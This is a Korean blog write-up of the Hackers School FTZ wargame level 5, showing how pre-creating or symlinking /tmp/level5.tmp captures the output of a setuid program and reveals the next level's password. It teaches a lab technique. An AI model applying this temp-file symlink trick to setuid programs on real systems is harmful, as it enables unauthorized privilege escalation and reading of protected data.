[FTZ] level 5 → level 6 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 5 → level 6 문제풀이

disso1p1 2020. 2. 3. 23:06

 

 

 

level5 - id : level5 , pw : what is your name?

 

 

[level5@ftz level5]$ ls
hint  public_html  tmp
[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.


[level5@ftz level5]$ 

 

/usr/bin/level5 프로그램으로 level6의 권한을 얻어야한다.

 

[level5@ftz level5]$ ls -al /usr/bin/level5
-rws--x---    1 level6   level5      12236  9월 10  2011 /usr/bin/level5
[level5@ftz level5]$ 

 

이 프로그램은 level6 권한의 setuid를 갖고 있음을 알 수 있다.

 

 

실행하면 임시파일을 생성한다니까

일단 실행해보자.

 

[level5@ftz level5]$ /usr/bin/level5
[level5@ftz level5]$ cd /tmp
[level5@ftz tmp]$ ls
mysql.sock
[level5@ftz tmp]$ 

 

프로그램을 실행했음에도 /tmp 디렉토리에는

level5.tmp 라는 이름의 임시파일이 없다.

 

 

먼저 /tmp 디렉토리에 대해 알아보자.

 

/tmp : 임시 파일을 저장하기 위한 디렉토리

이곳에 저장된 파일들은 영구적이지 않으며 시스템 프로세스는 정기적으로 이 디렉토리에서 오래된 파일들을 삭제한다.

 

출처 : ftp://archive.download.redhat.com/pub/redhat/linux/9/en/doc/RH-DOCS/rhl-gsg-ko-9/ch-managers.html    

 

 

level5.tmp 파일도 이렇듯 /usr/bin/level5 파일이

프로그램을 끝내기 전에 level5.tmp 파일을 삭제하는 것 같다.

 

[level5@ftz tmp]$ touch level5.tmp
[level5@ftz tmp]$ ls
level5.tmp  mysql.sock
[level5@ftz tmp]$ ls -al
합계 8
drwxrwxrwt    2 root     root         4096  2월 3 00:27 .
drwxr-xr-x   20 root     root         4096  2월 2 19:52 ..
-rw-rw-r--    1 level5   level5          0  2월 3 00:27 level5.tmp
srwxrwxrwx    1 mysql    mysql           0  2월 2 19:53 mysql.sock
[level5@ftz tmp]$ 

 

그냥 직접 /tmp 디렉토리에 level5.tmp 파일을 생성해봤다.

 

그리고 다시 실행해보니,

 

[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -al level5.tmp
-rw-rw-r--    1 level5   level5         31  2월 3 00:41 level5.tmp
[level5@ftz tmp]$ cat level5.tmp
next password : what the hell
[level5@ftz tmp]$ 

 

level5.tmp의 크기가 0byte에서 31byte로 증가했다.

그리고 level.tmp 파일에 password가 나왔다.

 

 

 

왜 이렇게 됐는지 이해가 안돼서 구글링해보았는데,

심볼릭 링크를 이용하는 방법이 있었다.

 

$ ln -s <원본파일명> <심볼릭링크 파일명>

 

이 명령어를 이용하여 심볼링 링크 파일을 만들 수 있다.

 

 

예제를 보자.

 

[level5@ftz tmp]$ touch test.txt     
[level5@ftz tmp]$ ln -s test.txt test_link.txt
[level5@ftz tmp]$ ls -al
합계 8
drwxrwx---    2 root     level5       4096  2월 3 01:02 .
drwxr-xr-x    4 root     level5       4096  5월  7  2002 ..
-rw-rw-r--    1 level5   level5          0  2월 3 01:02 test.txt
lrwxrwxrwx    1 level5   level5          8  2월 3 01:02 test_link.txt -> test.txt
[level5@ftz tmp]$ 

 

test.txt 라는 원본 파일과

test_link.txt 라는 test.txt파일의 심볼릭 링크 파일을 만들었다.

 

[level5@ftz tmp]$ cat > test.txt
aaaa
bbbb
cccc
[level5@ftz tmp]$ cat test_link.txt 
aaaa
bbbb
cccc
[level5@ftz tmp]$ cat test.txt
aaaa
bbbb
cccc
[level5@ftz tmp]$ rm test_link.txt 
[level5@ftz tmp]$ cat test.txt 
aaaa
bbbb
cccc
[level5@ftz tmp]$ 

 

심볼릭 링크 파일는 바로가기 같은 건데,

바로가기 파일을 수정하면 원본파일도 똑같이 수정된다.

 

그리고 심볼릭 링크 파일을 지워도 원본파일의 데이터는 그대로 있다.

 

 

이것을 문제에 적용하면

pass.txt라는 원본파일을 만들고,

이 파일의 심볼릭링크파일로 level5.tmp 파일을 걸면

level5.tmp파일이 삭제되기 전에 pass.txt파일로 password가 들어올 것이다.

 

[level5@ftz tmp]$ touch pass.txt
[level5@ftz tmp]$ ln -s pass.txt level5.tmp
[level5@ftz tmp]$ ls -al
합계 8
drwxrwxrwt    2 root     root         4096  2월 3 01:23 .
drwxr-xr-x   20 root     root         4096  2월 2 19:52 ..
lrwxrwxrwx    1 level5   level5          8  2월 3 01:23 level5.tmp -> pass.txt
srwxrwxrwx    1 mysql    mysql           0  2월 2 19:53 mysql.sock
-rw-rw-r--    1 level5   level5          0  2월 3 01:22 pass.txt
[level5@ftz tmp]$ 

 

이제 /usr/bin/level5 파일을 실행해보자.

 

[level5@ftz tmp]$ /usr/bin/level5 
[level5@ftz tmp]$ cat pass.txt 
next password : what the hell
[level5@ftz tmp]$ ls
level5.tmp  mysql.sock	pass.txt
[level5@ftz tmp]$   

 

계획한대로 password가 나왔다.

 

근데 여전히 level5.tmp 파일이 있는 것을 보아

level5.tmp 파일은 한번 만들면 바로 안 사라지는 것 같다.

 

 

 

 

next password : what the hell

 

 

 

감사합니다

Comments